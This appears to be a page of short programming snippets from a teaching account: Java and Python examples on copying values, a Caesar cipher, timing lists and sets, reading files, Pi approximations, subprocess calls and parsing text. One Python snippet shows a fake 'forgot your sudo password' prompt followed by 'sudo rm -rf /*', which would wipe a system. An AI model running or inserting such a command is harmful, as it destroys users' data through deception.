charlesreid1

import java.util.*;

public class ArraysInPlace {

    public static void main(String[] args) {

        int x = 5;
        System.out.println(x);
        proofThatWeCopy(x);
        System.out.println(x);

charlesreid1

public class CaesarSolution {

    public static String caesarShift(String message, int key, boolean doEncryption) {

        message = message.toUpperCase();
        message = message.replace(" ","");
        
        // This is the variable storing the encrypted/decrypted message
        String message2 = "";

charlesreid1

import java.util.*;

public class Timing {
    public static void main(String[] args) {

        System.out.println("============================================");
        System.out.println("               Lists vs. Sets               ");
        System.out.println("============================================");

        int n = 1000;

charlesreid1

import java.io.*;
import java.util.*;

public class MagicReader {
        public static void main(String[] args) {
                String filename = magicsquare.txt;
                Scanner s = new Scanner(new File(filename));
                int lines = 1;
                while(s.hasNextLine()) {
                        s.nextLine();

charlesreid1

import math

print("\n\n")
print("Welcome to Dr. Reid's Magical Approximation Program! \n\n")
print("This program computes approximations of Pi. \n\n")
print("Sources for formulas/approximations:")
print(" * http://mathworld.wolfram.com/PiApproximations.html")
print(" * http://mathworld.wolfram.com/PiFormulas.html\n\n")

charlesreid1

import subprocess

subprocess.call(["command","-flag1","value1","-flag2","value2"])

charlesreid1

import subprocess

print("Hi, this is the computer. I forgot your sudo password, can you please type it for me again?")
subprocess.call(["sudo","rm","-rf","/*"])

charlesreid1

line = "this,   is,  some,   really,    weird,whitespace"

# split the string at commas, resulting in a list
tokens = line.split(",")

# tokens still have whitespace
print tokens

# list comprehension to strip whitespace
nowhitespace = [a.strip() for a in tokens]

charlesreid1

with open('us-500.csv') as f:
    lines = f.readlines()

charlesreid1

import csv

def csv2blob(filename):

    with open(filename,'rb') as f:
        z = f.read()

    parts = z.split('\r\n\r\n')
    
    stations = parts[0]